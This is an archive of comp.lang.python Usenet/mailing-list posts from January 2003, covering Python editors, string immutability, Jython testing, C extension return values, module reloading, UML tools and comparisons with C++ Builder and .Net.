> by extending the Jython path with the CPython library path, so Jython
will
> load it's own libraries before looking for the CPython ones.
>
> Then have Jython run the tests that come with the standard CPython
> installation.
>
> I tried this a few years ago when I started using Jython, and I have
> forgotten the details. The biggest problem was locating the main test
> module, ie. the one that invokes all the tests. I'm not even sure
> that these tests are still distributed with CPython.

Lib/test/regrtest.py

It's in my Python 2.3a1 installation, so I presume it's current.

John Roth

>
> I do remember being surprised at how many tests actually passed
> then. In case you can repeat this exercise I'd like to know the
> results.
>
>
> Have fun,
> Ype
>
> --
> email at xs4all.nl





From tim.one at comcast.net  Thu Jan 16 10:26:38 2003
From: tim.one at comcast.net (Tim Peters)
Date: Thu, 16 Jan 2003 10:26:38 -0500
Subject: Copyright on the Python and Python-console icons?
In-Reply-To: <3E264756.A24BC2D7@alcyone.com>
Message-ID: <BIEJKCLHCIOIHAGOKOLHOEKEEIAA.tim.one@comcast.net>

[Erik Max Francis]
> Yes, and explicitly waiving copyright (or having it expire) and
> releasing works into the public domain is explicitly allowed for in
> copyright law.

That's just assertion.  Cite the law, if you can (it's easy to find the
stuff about expiration, and about works produced by the government; if
anything else about it were as clear, the scholarly work on the topic I
pointed you at wouldn't have been written).

>> The rest is from private communication with a Famous IP Lawyer during
>> Python's licensing struggles, and I don't have permission to repeat that
>> here.

> Uh huh, convenient.

Quite the contrary, it makes me appear to be bluffing.  I pointed you to
three starting places if you'd like to collect actual legal opinion instead
of "is not, is too, is not, is too" Usenet silliness, all of which you
indeed conveniently ignored in your response, in favor of raw assertion.

If you want some highly informed legal opinion to exercise your beliefs
against, engage Larry Rosen (OSI's legal counsel; I already gave you a link
to one accessible place he hangs out, and, IME, he's been happy to argue
this issue at any depth you can bear).





From mitchchapman at earthlink.net  Tue Jan 28 21:23:03 2003
From: mitchchapman at earthlink.net (Mitch Chapman)
Date: Wed, 29 Jan 2003 02:23:03 GMT
Subject: Python vs. C++ Builder - speed of development
References: <3e36d04e_2@news.vo.lu>
Message-ID: <bWGZ9.1222$Wu1.122290@newsread1.prod.itd.earthlink.net>

pu wrote:
> Is, or under which circumstances is the time which can be gained by using a
> RAD-IDE equivalent to the time gained by using Python directly?
> 
> -Patrick

As others have noted, it depends on what you're doing.  If you're
building GUI apps in an environment where the APIs are cumbersome,
you're probably better off with an IDE to help generate the code /
UI.

But it doesn't have to be an exclusive choice between Python and
a RAD-IDE environment.  For example, Python For Delphi (P4D) lets
you use Delphi (or C++Builder) to construct your user interface,
define basic user interactions, etc.  while using Python for the bulk
of the application.

Where I work we've been using P4D for about a year and a half, with good
results.  P4D encourages a clean split between View/Controller and
Model code.  As a result, even though much of our core code was
developed specifically for our Windows-based applications, it also
runs on Linux.  It runs on MacOSX, too, but that's because OSX is
Unix.  (Ow.  My head hurts.)

That's not to say P4D is perfect.  Accessing Delphi services from
Python still requires a fair bit of bookkeeping code.

However, P4D's thorough exploitation of Delphi's (and C++Builder's)
variant type lets you manipulate Python objects from Object Pascal
(and C++) with almost no bookkeeping code or static type declarations.

Maybe it has to be experienced to be believed.  It's pretty awesome.

The Python For Delphi homepage:
	http://membres.lycos.fr/marat/delphi/python.htm

Some screenshots of stuff we've built using Python For Delphi:
	http://www.bioreason.com/classpharmer.php

--
Mitch




From urba0083 at tc.umn.edu  Wed Jan 15 12:47:34 2003
From: urba0083 at tc.umn.edu (Michael Urban)
Date: Wed, 15 Jan 2003 11:47:34 -0600
Subject: Learning Python - The Book
References: <3cf72d52.0301141439.53f1f521@posting.google.com>
Message-ID: <3E259EB6.20000@tc.umn.edu>

Its ok to use it as the basic language and such is still applicable.
But watch out for outdated stuff. For example, that book will
reference the string module, which is depricated and you
probably shouldn't use it in your projects.

A book I might suggest you read instead of, or in addition
to Learning Python is Python 2.1 Bible. It's a lot more
up to date and personally, I think has more in depth
coverage that helps you understand why you are doing
what you are doing.


scn wrote:
> Hello.  I am new to programming and Python in particular.  My interest
> is to learn how to program to begin automating tasks at work that are
> still done using pencil and paper.  I understand that Python offers
> many advantages over other languages for many various reasons.
> 
> I have taken a look at the book Learning Python and noticed that it
> was written in 1999.  Python is currently up to version 2.3  Is this
> book still applicable in most aspects of the language, or would it be
> wiser for me to save my money and wait for a 2nd edition to come out
> with more up-to-date information? Thank you.




From sross at connectmail.carleton.ca  Sun Jan 19 19:17:36 2003
From: sross at connectmail.carleton.ca (Sean Ross)
Date: Sun, 19 Jan 2003 19:17:36 -0500
Subject: UML and Python
References: <OGFW9.1425$Sv3.183917@newsread1.prod.itd.earthlink.net>
Message-ID: <keHW9.1815$_N5.133228@news20.bellglobal.com>

Hi. I really don't have much to say about UML except to say that it can be
useful for the reasons you've given:

>So I'm mostly interested in its ability to clarify my own code to myself
for
>architectural improvement. On the other hand, I do have to communicate with
>others about the design for future use, and I hope to attract other
>developers to the project by being well-designed and well-documented.  And,
>for non-developers, there's also some documentation into the general design
>and capabilities of the software, which might benefit from parts of UML

But, in case you're interested, you might want to check this out:
http://pyut.sourceforge.net/features.php

>From the site:
'''
What is Pyut ?
PyUt :
PyUt is a little UML1.3 class diagram editor with support for output
plug-ins. Export to XML, JPEG, BMP, PS. PyUt stands for Python UML Toolkit.
'''

and, apparently, it includes:

Python generation + reverse engineering
Java generation + reverse engineering
C++ generation

You can use it for class diagrams and use-case diagrams. They're working on
sequence diagrams.

Anyway, good luck with what your working on,
Sean





From max at alcyone.com  Sun Jan 26 03:10:17 2003
From: max at alcyone.com (Erik Max Francis)
Date: Sun, 26 Jan 2003 00:10:17 -0800
Subject: December 2002 comp.lang.* stats
References: <b0tctd$9cn$1@bob.news.rcn.net> <mailman.1043502285.20597.python-list@python.org> <b0ubqb$oiv$3@bob.news.rcn.net> <3E32E5D6.82887F98@engcorp.com> <b0usjm$jsl$1@bob.news.rcn.net> <3E333ED7.ADEB8CDC@alcyone.com> <b0vv0c$ka$1@bob.news.rcn.net>
Message-ID: <3E3397E9.FD92B01@alcyone.com>

"Aaron K. Johnson" wrote:

> My research indicates that the number of python users is precisely, to
> the last
> decimal point, proportional to the usenet volume found by my script.

Oh, there's no doubt that for this moment in time, with that exact
figure you just posted, there is some constant of proportionality such
that that's true.  The question is whether or not that constant of
proportionality is really constant, and, more importantly, whether it's
the same constant of proportionality for other newsgroups and their
languages :-).

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ Forever we / Infinitely
\__/ Sandra St. Victor
    Maths reference / http://www.alcyone.com/max/reference/maths/
 A mathematics reference.



From peter at engcorp.com  Mon Jan 27 16:50:43 2003
From: peter at engcorp.com (Peter Hansen)
Date: Mon, 27 Jan 2003 16:50:43 -0500
Subject: String Methods Don't Change ID?
References: <889cbba0.0301271313.7da84213@posting.google.com>
Message-ID: <3E35A9B3.87D605DC@engcorp.com>

Kamilche wrote:
> 
> I am reading a book on Python, 'Core Python Programming.' They have
> hammered home how when you change a string, or reassign it, the ID
> changes.
> 
> But now, I'm looking the following example, which modifies a string,
> but the ID doesn't change. Can anyone explain why the built-in string
> methods don't modify the ID?

You forgot to prove that the example modifies the string:

> >>> quest = 'what is your favorite color?'
> >>> id(quest)
> 10988760
> >>> quest.capitalize()
> 'What is your favorite color?'
> >>> id(quest)
> 10988760
> >>> quest.center(40)
> '      what is your favorite color?      '
> >>> id(quest)
> 10988760
> >>>

Finish up your example by typing "quest" again:

>>> quest
'what is your favorite color?'

Hmm.... neither very centered, nor capitalized, is it?  So it hasn't 
been modified. ;-)

I like Brett's answer: "strings are immutable (keep repeating that)".

-Peter



From abelikov72 at hotmail.com  Sun Jan  5 16:59:00 2003
From: abelikov72 at hotmail.com (Afanasiy)
Date: Sun, 05 Jan 2003 21:59:00 GMT
Subject: best python editor/ide for windows
References: <e34e8ce6.0301050714.2f8cf615@posting.google.com>
Message-ID: <0sah1vs5mtl0tmnveqev1dklq8ppt2rmev@4ax.com>

On 5 Jan 2003 07:14:14 -0800, grayshade at libero.it (Domenico) wrote:

>have your say...

Ultraedit(.com)
Editplus(.com)



From cben at techunix.technion.ac.il  Mon Jan  6 13:50:24 2003
From: cben at techunix.technion.ac.il (Beni Cherniavsky)
Date: Mon, 6 Jan 2003 20:50:24 +0200
Subject: Python vs Java garbage collection?
In-Reply-To: <RI7P9.82239$pe.2817565@news2.east.cox.net>
References: <kpofua.5g2.ln@anto.cuni.lan> <RI7P9.82239$pe.2817565@news2.east.cox.net>
Message-ID: <Pine.GSO.4.44_heb2.09.0301062031380.27086-100000@techunix.technion.ac.il>

On 2002-12-28, Stuart D. Gathman wrote:

> On Thu, 26 Dec 2002 15:28:35 -0500, Antonio Cuni wrote:
>
> > I'd like if python had a feature comparable to C++'s deterministic
> > destructors; something like the following (invented syntax):
> >
> > def foo():
> >   auto mymutex = acquire_mutex()
> >   auto myfile = open(filename, 'w')
> >   auto mysocket = open_socket()
> >   do_stuff
> >
> > I presume it's not easy to assure that "auto" variables can be destroyed
> > at the end of the function: e.g., what if objects bound to auto
> > variables have refcount > 1 ?
>
I was lately thinking along similar lines.  For Jython and for any
resource release, one must indicate explicitly when to destroy the object.
Whatever syntax you use, you still define a predictable place where the
object is destroyed.  No way around it.  So I don't think one should be
troubled by remaining references to the object - if the programmer chose
to end the object's life, he should realise that that's what he's doing.

> 1) This feature should not reclaim memory, only call __del__().If
> references were still live, the effect would be the same as calling
> __del__() on a live object.
>
> 2) __del__() would get called again when memory is actually reclaimed.
> Therefore, your feature would be much safer if it called another special
> function - say close() or dispose() at the end of the block.
>
I think this is a technical question: is it possible in CPython and Jython
to mutate an existing object's class, to mark it as dead?  If yes, then a
facility to explicitly force a __del__ if any (and fry the object so it
can't be used any more) would be a solution for writing portable code:

x = acquire()
try:
    do_something(x)
finally:
    finalize(x)

This would manualy guarantee a timely __del__.  If frying the object to
prevent the double __del__ is a problem, __del__ must be given up for
such cases and a new attribute should be agreed upon.

-- 
Beni Cherniavsky <cben at tx.technion.ac.il>





From johan at contillion.com  Fri Jan  3 15:07:05 2003
From: johan at contillion.com (Johan)
Date: Fri, 03 Jan 2003 21:07:05 +0100
Subject: Webhosting with Python and PSP?
Message-ID: <pan.2003.01.03.20.07.05.9295@contillion.com>

Hi everybody,

Sorry if this is off topic. 

I really need some webhosting with PSP and Python CGI. But, it is hard
to find anywhere? I have tried google, no results i could use. What do I
do? I found one... http://www.oinko.net/freepython/ but it is
"directory" hosting. And they links to lunarpages.com, but they dont
write anything about PSP, only Python CGI :( I wrote an e-mail to them,
but they have not replied yet.

Anyone know a good hosting company that support PSP and Python CGI? I
prefer webhosting companies in US, UK or Denmark... :) Please help me
out... I need a site with that support, untill I get my own server...

With Best Regards,
Johan







From gerrit at nl.linux.org  Wed Jan  8 10:03:00 2003
From: gerrit at nl.linux.org (Gerrit Holl)
Date: Wed, 8 Jan 2003 16:03:00 +0100
Subject: list comprehensions value assignment syntax error
In-Reply-To: <YjKS9.151$467.132@fe08>
References: <mailman.1041983459.23262.python-list@python.org> <YjKS9.151$467.132@fe08>
Message-ID: <20030108150300.GB2770@nl.linux.org>

Steve Holden schreef op woensdag  8 januari om 01:36:49 +0000:
> > I am trying to assign to a list item using list comprehensions, but this
> > raises a SyntaxError:
> 
> You've been around this group long enough to know where to consult the FAQ,

I am really sorry about this one. I did consult the FAQ but only on 'list
comprehensions', so I did not find number 6.30:

http://www.python.org/cgi-bin/faqw.py?req=show&file=faq06.030.htp
"Why can't I use an assignment in an expression?"...

I did not realise my questien was really about this and not about list
comprehensions. I should have been able to identify my problem as being
this; I should have thought harder before posting to the list, sorry.

I hope you can forgive me <w> ;),
yours,
Gerrit.

-- 
Asperger Syndroom - een persoonlijke benadering:
	http://people.nl.linux.org/~gerrit/
Het zijn tijden om je zelf met politiek te bemoeien:
	http://www.sp.nl/




From vanevery at 3DProgrammer.com  Tue Jan 28 19:31:55 2003
From: vanevery at 3DProgrammer.com (Brandon J. Van Every)
Date: Tue, 28 Jan 2003 16:31:55 -0800
Subject: Python vs. C++ Builder - speed of development 
In-Reply-To: <200301290007.h0T07xjL023508@ratthing-b246.strakt.com>
Message-ID: <000101c2c72d$d4545eb0$0100a8c0@vangogh>

Laura, I'm not sure if you've moved this discussion offline... maybe
"away from the newsgroup" is accurate.  Anyways...

> From: Laura Creighton [mailto:lac at strakt.com]
>
> Last  C++ job I had paid roughly $400 Euros an hour.  And the reason
> they paid me this was because indeed, it was as onerous as I made it
> sound.  This is what I was paid to do all day long.
>
> You need to get over your notion that there cannot exist a person who
> is excellent at something and who hates it at the same time.

But your comparision regarding C++ usability is utterly unfair.  You got
paid an exhorbitant amount of money to tackle really godawful C++
problems in a corporate dysfunctional environment.  That is quite beyond
any language issue.  To say that C++ RAD-IDE would "never" help anyone
based on your extreme case use is grossly misleading.  A solo programmer
or a small team that knows how to "fly in formation" doesn't have your
corporate $400/hour idiocy problems to contend with.


Cheers,                         www.3DProgrammer.com
Brandon Van Every               Seattle, WA

20% of the world is real.
80% is gobbledygook we make up inside our own heads.





From alloydflanagan at attbi.com  Fri Jan  3 11:39:28 2003
From: alloydflanagan at attbi.com (A. Lloyd Flanagan)
Date: 3 Jan 2003 08:39:28 -0800
Subject: Best Python editor (under Linux)
References: <pan.2003.01.02.12.09.57.823588@contillion.com> <025d32cf-da98-4afa-ab9f-2f3f978a9c38@news.szn.dk> <6lea1vop870pak8iuohinerilg304sd493@4ax.com> <slrnb19vmq.h00.grey@teleute.dmiyu.org> <x7bs2y98or.fsf@guru.mired.org> <slrnb1ac1r.j1t.grey@teleute.dmiyu.org>
Message-ID: <a8b7f07a.0301030839.464f4101@posting.google.com>

Steve Lamb <grey at despair.dmiyu.org> wrote in message news:<slrnb1ac1r.j1t.grey at teleute.dmiyu.org>...
>     Oddly enough I don't consider IDLE an editor either.  Point stands, Emacs
> is the very antithesis of the proper way to do things.  It is a monolithic,
> bloated, musch-cram-every-feature-into-it piece of software.  26Mb for a
> "editor" is not what I consider reasonable or keeping in the tradition of
> small specialized programs that do one task well.

So don't use it.  But he who lets devotion to an abstract principle
("the proper way to do things") blind him to the genuine advantages of
the most powerful programmer's editor out there has left the path of
wisdom.

Besides, a programmer's editor doesn't have to do one task well -- it
needs to do a whole lot of different tasks.  The best way to do that
is make it customizable.  If you make it so customizable people use it
to read Usenet, play games, keep a diary, edit web pages, etc., etc.,
etc., is that really a bad thing?

Emacs users should also check out the else-mode package. ELSE is the
Emacs Language Sensitive Editor, and it lets you insert customizable
language templates into your code with a couple of keystrokes.  Never
make a typo in basic syntax again!  See
http://www.zipworld.com.au/~peterm/.



From geoff at gerrietts.net  Thu Jan  9 15:13:25 2003
From: geoff at gerrietts.net (Geoff Gerrietts)
Date: Thu, 9 Jan 2003 12:13:25 -0800
Subject: Do pythons like sugar?
In-Reply-To: <avkeld$49$1@slb2.atl.mindspring.net>
References: <6u6q1vk7dgjps43t0uuk8eut1ghlgnoc71@4ax.com> <tieq1v8n45cktgj8r5h3mnc6u2gdb2v03q@4ax.com> <avjj5d$8cn$1@slb3.atl.mindspring.net> <dqkq1vkn3eo4kqrjtdra85cias56t3bk9f@4ax.com> <mailman.1042111336.29448.python-list@python.org> <28sq1v881mp1jki155gal6mtsqt59ujtqt@4ax.com> <mailman.1042118119.29945.python-list@python.org> <ihgT9.21296$u9.18028@fe08> <v85r1v0qlrqdtg0iooru2l88578983cfns@4ax.com> <avkeld$49$1@slb2.atl.mindspring.net>
Message-ID: <20030109201325.GD8555@isis.gerrietts.net>

Quoting Andrew Dalke (adalke at mindspring.com):
> 
> In other words "DO NOT USE IN REAL CODE - I WILL NOT BE
> HELD RESPONSIBLE IF YOU DEPLOY WITH THIS.  FOR NOVELTY
> USE ONLY."

Another disclaimer we might like to add is "does not work under
pythons earlier than 2.2", since it doesn't. dir(self) won't return
attributes on the class or base classes prior to 2.2.

-- 
Geoff Gerrietts             "I don't think it's immoral to want to  
<geoff at gerrietts net>     make money."      -- Guido van Rossum




From bokr at oz.net  Sat Jan  4 19:14:20 2003
From: bokr at oz.net (Bengt Richter)
Date: 5 Jan 2003 00:14:20 GMT
Subject: Best Python editor (under Linux)
References: <pan.2003.01.02.12.09.57.823588@contillion.com> <025d32cf-da98-4afa-ab9f-2f3f978a9c38@news.szn.dk> <6lea1vop870pak8iuohinerilg304sd493@4ax.com> <slrnb19vmq.h00.grey@teleute.dmiyu.org> <87d6neay90.fsf@gvdnet.dk> <slrnb1bnuk.o8n.grey@teleute.dmiyu.org> <av6v8k$h18$0@216.39.172.122> <slrnb1ef1h.4l0.grey@teleute.dmiyu.org>
Message-ID: <av7tcs$je4$0@216.39.172.122>

On Sat, 04 Jan 2003 19:55:29 -0000, Steve Lamb <grey at despair.dmiyu.org> wrote:

>On 4 Jan 2003 15:40:04 GMT, Bengt Richter <bokr at oz.net> wrote:
>> Ok, now suppose tme.py when run as a program started an interactive shell
>> that presented a nicely featured editor, which happened to have some simple
>> editing features you wanted for composing email or news posts, etc., so the
>> basic composition problem was solved. Would you build on this interface? 
>
>    No.  Furthermore I'd rip it out of the module to converse space.  The
Well, with the Python version you could do that, and with the functionality
already factored as I sketched it, i.e. into tme.py general purpose stuff
and an interactive editor based on it, the likelihoood that they would be
one file instead of an editor script importing the tme.py stuff would be low,
so you wouldn't have to rip it out ;-)

>proper way to do things is to create the application and /call the editor/.
But if your application is mostly special-purpose editing, you can't just
call an editor, except to do trivial message body editing like you'd get from
notepad.exe. You may have a point, that it might be nice to let people use
whatever they like for _that_ part. I'm sure both vim and emacs could create
a temp file and run notepad or any other editor on it, as an option ;-)

But the special purpose editing like parsing headers and automating replies and
pasting with quote annotation etc, are not available in notepad. So you can
see the temptation of building on an infrastructure that already contains the
primitives that make implementing those things easy. Why reinvent those wheels,
except for fun, maybe, if most of your intended audience is already using
the same infrastructure (as I would guess the situation probably was when emacs
gained some of these extended capabilities)?

IMO it's more natural to view an email client as a special purpose editor, than
to view it as a communications program with incidental editing requirements.

I'm all for clean factoring, but programmers are "lazy" and will go for easy wins
in functionality. Ideally, the full power of emacs or vim infrastructure would
be available factored out into library modules (python, naturally ;-) so you could
build something new with exactly what you wanted, and no more. But my guess is you'd
want a good deal of it.

>Why?  Because everyone, as this thread has proven, has their own favorite
>editor.  Forcing them to use what you think is best is unintuative to pretty
No one is forced to use a new email client or whatever. If you can't build an
interface you think is better than the status quo, how is anyone going to
get to experience anything new?

>much everyone but you and a waste of a lot of programming time now and in the
>future.  Why?
>
>    "Gee, editor foo can do feature bar, can you include it in your mail
>client?"  
 
Answer 1: "Fortunately this mail client is based on the infrastructure library of
a powerful editor, so you can have what you want. Did you read about key bindings
and scripting in the docs? You can do it yourself, if google can't find something
readymade for you."

Answer 2: "Sorry, editor foo wasn't designed to integrate into anything, so you
can choose that editor, but it won't be able to operate on anything but the
content of your messages, and nothing can be inserted automatically from the
rest of the client context, and we didn't have time to implement extensive scripting.
Sorry."
>
>    I've seen it far too many times in nearly a half dozen email clients in
>the past 10+ years to ever want to fall into that mistake.  Ever.
>
Ok, I should not ignore your cries of pain. I haven't had to deal with any of that ;-)

Regards,
Bengt Richter



From skip at pobox.com  Fri Jan 31 11:09:48 2003
From: skip at pobox.com (Skip Montanaro)
Date: Fri, 31 Jan 2003 10:09:48 -0600
Subject: mod_python
In-Reply-To: <slrnb3l6ki.t1p.gargravarr@somewhere.obl.org>
References: <Xns92D510D3250B7bokuwatetsuo@207.217.77.26>
        <3DE74DFB.47FC054@hotmail.com>
        <slrnb3l6ki.t1p.gargravarr@somewhere.obl.org>
Message-ID: <15930.40908.304692.382509@montanaro.dyndns.org>

    >> If you see any behaviour you don't expect with mod_python, I highly
    >> recommend that you restart the apache server that contains it.

    Kristoffer> Is there really no other way around like autoreloading or so
    Kristoffer> like mod_ruby does ?

Reloading modules on a large scale is fairly fragile.  You can get fairly
heavy-handed and force the reload of modules written in Python by fiddling
with sys.modules, but you can't be sure you've eliminated all references to
old versions.  For example:

    >>> import string
    >>> replace = string.replace
    >>> reload(string)
    <module 'string' from '/Users/skip/local/lib/python2.3/string.pyc'>
    >>> replace == string.replace
    False

If my interpretation of previous posts on this subject is correct, there is
no effective (cross-platform) way to properly unload and reload extension
modules, that is I don't believe dlclose("bsddb.so") necessarily disconnects
the .so file from the running interpreter so that a later dlopen("bsddb.so")
forces the dynamic linker to do its complete dance again.

Skip




From yarlevub at aol.com  Sun Jan 12 16:11:33 2003
From: yarlevub at aol.com (YarLevub)
Date: 12 Jan 2003 21:11:33 GMT
Subject: How does a C API-function returns a list  to python
References: <3E21CB52.61543E67@imms.de>
Message-ID: <20030112161133.28753.00000756@mb-fv.aol.com>

>double a[5]={1.0,2.0,3.0,4.0,5.0};
>....
>return Py_BuildValue("???",a)
>....

The simplest way is to return a string containing the data and then use the
array module to make it available to your Python program.

return Py_BuildValue("s#", a, sizeof(a));

in your Python program

from array import array
...

s = myfunction(...)

a = array('d', s)

Now you can index a to get at the data.

There are of course many other ways to solve this problem but I do this
frequently.

Ray Buvel




From paddy3118 at tiscali.co.uk  Sun Jan  5 06:36:22 2003
From: paddy3118 at tiscali.co.uk (Paddy)
Date: Sun, 05 Jan 2003 11:36:22 +0000
Subject: Best Python Editor (under Linux)
In-Reply-To: <0zhR9.7019$Gv4.4628@fe08>
References: <pan.2003.01.02.12.09.57.823588@contillion.com> <87lm23xh06.fsf@gvdnet.dk> <3E159B1A.BE7AC2DD@engcorp.com> <0zhR9.7019$Gv4.4628@fe08>
Message-ID: <3E1818B6.40709@tiscali.co.uk>

Steve Holden wrote:
> "Peter Hansen" <peter at engcorp.com> wrote ...
> 
>>Martin Christensen wrote:
>>
> [editors, endlessly, again]
> 
>>I'm sure they are highly effective for some people.  Not everyone
>>has need of such a large slate of features.  In fact, over the years
>>I've found I rely on fewer and fewer special functions in my editors,
>>and at this point I am so independent of any specific editor that I
>>find myself roughly as productive in any modern editor, using the tiny
>>subset of its features that I do, and yet more productive (because of
>>my approach to programming) than many other programmers.
>>
> 
> 
> You have, of course, neatly encapsulated many of the advantages of being an
> old fart. Welcome to the club!
> 
> ....and a Happy New Year to all my reader :0)
> 
> regards

Whilst I too have many years of editing text files, it IS a young industry, you DO have to
keep abreast of the changes and in text editing I have been lucky in that my initial vi
knowledge is still relevant and can be enhanced when I move to elvis or vim.

Like Martin I suspect, solving the eight queens problem in a macro has nothing to do with
  text editing, but syntax highlighting, folding, template generation, auto indentation,
and others I think ARE the realms of a good text editor.

One feature that would be nice is multiple language syntax colouring for things like
embedded scripts in HTML or a python 'here document', ( <<! ...!), in a bash script. Is
this available in editors yet?

Thanks, Paddy.





From peter at engcorp.com  Wed Jan 29 09:59:51 2003
From: peter at engcorp.com (Peter Hansen)
Date: Wed, 29 Jan 2003 09:59:51 -0500
Subject: String Methods Don't Change ID?
References: <889cbba0.0301271313.7da84213@posting.google.com> <3E35A9B3.87D605DC@engcorp.com> <jwbaxter-468AFB.22480828012003@corp-radius.supernews.com>
Message-ID: <3E37EC67.2033B9D5@engcorp.com>

John Baxter wrote:
> 
> In article <3E35A9B3.87D605DC at engcorp.com>,
>  Peter Hansen <peter at engcorp.com> wrote:
> 
> > I like Brett's answer: "strings are immutable (keep repeating that)".
> 
> Strings are immutable (and nothing changes that).  ;-)

That's perfect!  (Don't try to modify it.  ;-)

-Peter



From sholden at holdenweb.com  Wed Jan 15 15:42:21 2003
From: sholden at holdenweb.com (Steve Holden)
Date: Wed, 15 Jan 2003 20:42:21 GMT
Subject: Performance penalty for using classes?
References: <33803989.0301120004.76e09b9a@posting.google.com> <33803989.0301142350.1af9e278@posting.google.com> <mailman.1042657362.26925.python-list@python.org>
Message-ID: <NIjV9.3969$YI5.2600@news2.central.cox.net>

"Andr? Jonsson" <tatsujin at despammed.com> wrote ...
> Seems to me that the C program is almost 10 times faster...
>
[...]
[C]
> > long iterations = 1000000;
[...]
[Python]
> >         iterations = 100000
[...]

Yes, it's an unfortunate discrepancy between the Python and C code that the
latter runs ten times as many tests :-(

but-let's-not-let-the-truth-stop-a-great-rumour-ly y'rs  - steve
--
Steve Holden                                  http://www.holdenweb.com/
Python Web Programming                 http://pydish.holdenweb.com/pwp/
Bring your musical instrument to PyCon!    http://www.python.org/pycon/






From gumuz at looze.net  Thu Jan 23 10:25:53 2003
From: gumuz at looze.net (Gumuz)
Date: Thu, 23 Jan 2003 16:25:53 +0100
Subject: python sandbox
References: <b0ougt$111ko7$1@hades.rz.uni-sb.de>
Message-ID: <3e3009e2$0$231$4d4ebb8e@news.nl.uu.net>

i didn't take a very close look at it yet, but it seems that your
allowlist&disallowlist make it possible to create some sort of subset of
python



"Uwe Schmitt" <uwe.schmitt at procoders.net> wrote in message
news:b0ougt$111ko7$1 at hades.rz.uni-sb.de...
> Hi,
>
> I wrote a simple sandbox for executing pyhton code in a
> restricted environment.
> The code can be downloaded from
> http://www.procoders.net/download.php?fname=SandBox.py
> I appreciate any comments. I'm especially interested if
> my restrictions are secure or if they can be circumvented.
>
>
> Greetings, Uwe.
> --
> Dr. rer. nat. Uwe Schmitt      Computer science is no more about
Computers,
> uwe.schmitt at num.uni-sb.de      than astronomy is about telescopes.
(Dijkstra)
> http://www.procoders.net





From peter at engcorp.com  Wed Jan 29 10:37:49 2003
From: peter at engcorp.com (Peter Hansen)
Date: Wed, 29 Jan 2003 10:37:49 -0500
Subject: Starting threads
References: <mailman.1043811831.15197.python-list@python.org> <Pine.LNX.4.44.0301291530030.26166-100000@x.opf.slu.cz>
Message-ID: <3E37F54D.D791A6B2@engcorp.com>

Lukas Kubin wrote:
> 
> It's been half a day since I sent a more describing response to the news.
> Until now it didn't appear there. So I will try to be more clear now
> again:
> (I'm running it on linux and python 2.2.1)
> 
> The main call looks like:
> 
> if __name__ == '__main__':
> 
>   for comp in ['hostname1','hostname2']:
>     thread = Control(comp)
>     thread.start()
>     time.sleep(.005)
> 
> The doTheAction() function uses socket to connect to a computer and send a
> command there.
> When I don't use the time.sleep() then it starts 2 threads of 'hostname2'
> so it connects 2 times to hostname2 but not to hostname1.

Please go back and read my first reply again.  

With the extra information (still minimal... please post doTheAction()!)
you've provided, I'm now more convinced that my first guess was correct.
You very likely have a code-reentrancy problem, possibly because you're
using a global variable (?), which is causing the problem.

The above code is certainly starting two threads.  The issue is how
does the first thread hear about "hostname2" instead of "hostname1".
The only likely answer is that you do not have thread-safe code.
Please post doTheAction() if you can't find the problem yourself.
Without it, we're stuck.

-Peter



From junkthis at blueyonder.co.uk  Wed Jan  8 17:10:14 2003
From: junkthis at blueyonder.co.uk (Marko)
Date: Wed, 8 Jan 2003 22:10:14 -0000
Subject: Generate variables at run time?
References: <VyPS9.6818$xs6.347786501@newssvr14.news.prodigy.com>
Message-ID: <avi7k2$g5tob$1@ID-89047.news.dfncis.de>

Byron Morgan wrote:
> Is there any way in Python to generate a new variable name based on
> data? I have tried the eval() function, but this gets rejected, if
> the variable doesn't already exist.
>
> There has to be a way to do this, but I can't find it, probaly
> because I am just starting to learn Python.
>
> Byron

As others have already pointed out you could use dicts or classes for this.
However, you might not be aware that setattr and delattr also work at module
level, so you could also do this:

new_var_name = "abc"
setattr(sys.modules[__name__], new_var_name, "123")

...which obviously creates a variable called abc with the value 123. You can
then delete it with:

delattr(sys.modules[__name__], new_var_name)

I personally don't think this is the most elegant solution and I would
suggest using dictionaries instead, but it does work this way too.

HTH
Marko





From mystery at golden.net  Sun Jan  5 01:40:25 2003
From: mystery at golden.net (Etienne Charland)
Date: Sun, 5 Jan 2003 01:40:25 -0500
Subject: Python vs .Net
Message-ID: <PxQR9.45$uS3.4626462@mantis.golden.net>

I would like to compare Python with .Net. First of all, for those who knows
.Net, what are the pros and the cons of each? Secondly, how would I write
this simple database application in Python, to see how it looks like. I've
written the code required to do it in VB.Net.

Let's say I have a window containing a ComboBox and a TextBox. At program
load time, I get data from a database. I get those fields: "ID", "Code",
"gNom". The ComboBox must contain the list of clients, showing the "Code"
field . But I also must be able to get the associated ID of the selected
item. And the items have to be sorted. When I select a client, the field
"gNom" has to be displayed in the textbox, for the selected client.

Here's the code of the window. Note that all the bindings can be done with
the designer.
-------------------------------------------------
Imports System.Data.SqlClient
Public Class Form1
    Inherits System.Windows.Forms.Form
'Removed Windows Forms Designer generated code

    Private Const ConnectionString As String = "data source=(local);initial
catalog=GipelData;integrated security=SSPI;persist security info=False"
    'Contains the in-memory data. xmlGeneral is a typed dataset. Do you
    'really need to know what is a typed dataset? Just to give you a hint, I
can
    'write   myDataSet.Clients   instead of    myDataSet.Tables("Clients")
    Private myDataSet As New xmlGeneral

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As
System.EventArgs) Handles MyBase.Load
        'Sort the data
        myDataSet.Clients.DefaultView.Sort = "Code"

        'Fill the DataSet
        Dim myConnection As New SqlConnection(ConnectionString)
        Dim myDataAdapter As New SqlDataAdapter("SELECT ID, Code, gNom FROM
Clients", myConnection)
        myDataAdapter.Fill(myDataSet.Clients)

        'Bind the controls to the in-memory data
        ComboBox1.DataSource = myDataSet.Clients
        ComboBox1.DisplayMember = "Code"
        ComboBox1.ValueMember = "ID"

        'Since the datasource for this binding is the same as for the
        'combobox, it will automatically display the data of the
        'selected item
        TextBox1.DataBindings.Add("Text", myDataSet.Clients, "gNom")
    End Sub
End Class
-------------------------------------------------

How do you write it in Python?





From jack at performancedrivers.com  Fri Jan 31 10:58:43 2003
From: jack at performancedrivers.com (Jack Diederich)
Date: Fri, 31 Jan 2003 10:58:43 -0500
Subject: Python vs. C++ Builder - speed of development
In-Reply-To: <oPr_9.108013$0v.3123750@news1.tin.it>; from aleax@aleax.it on Fri, Jan 31, 2003 at 10:00:52AM +0000
